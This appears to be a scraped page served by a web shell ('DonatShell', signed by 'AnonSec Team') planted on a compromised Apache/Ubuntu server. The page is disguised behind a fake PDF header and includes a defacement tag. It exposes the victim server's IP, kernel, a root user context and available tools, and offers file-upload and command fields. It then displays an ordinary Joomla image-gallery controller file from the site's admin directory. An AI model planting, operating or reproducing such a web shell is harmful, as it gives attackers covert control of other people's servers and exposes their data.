%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/administrator/components/com_sigpro/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/administrator/components/com_sigpro/controllers/galleries.php
<?php
/**
 * @version		$Id: galleries.php 2725 2013-04-06 17:05:49Z joomlaworks $
 * @package		Simple Image Gallery Pro
 * @author		JoomlaWorks - http://www.joomlaworks.net
 * @copyright	Copyright (c) 2006 - 2013 JoomlaWorks Ltd. All rights reserved.
 * @license		http://www.joomlaworks.net/license
 */

// no direct access
defined('_JEXEC') or die ;

class SigProControllerGalleries extends SigProController
{

	public function delete()
	{
		JRequest::checkToken() or jexit('Invalid Token');
		$model = $this->getModel('galleries');
		$type = JRequest::getCmd('type', 'site');
		$folders = JRequest::getVar('folder');
		$model->setState('type', $type);
		$model->setState('folders', $folders);
		$model->delete();
		$this->setRedirect('index.php?option=com_sigpro&view=galleries', JText::_('COM_SIGPRO_FOLDERS_DELETED'));
	}

	public function add()
	{
		$view = $this->getView('gallery', 'html');
		$view->add();
	}

	public function create()
	{
		$folder = JRequest::getCmd('newFolder');
		$type = JRequest::getCmd('type', 'site');
		if (!$folder)
		{
			$this->setRedirect('index.php?option=com_sigpro');
			return $this;
		}
		if (!JFolder::exists(JPATH_SITE.'/media/k2/galleries/'.$folder))
		{
			$model = $this->getModel('gallery');
			$model->setState('type', $type);
			$model->setState('folder', $folder);
			$model->add();
		}
		$this->setRedirect('index.php?option=com_sigpro&view=gallery&type=k2&folder='.$folder);
		return $this;
	}

}

Anon7 - 2022
AnonSec Team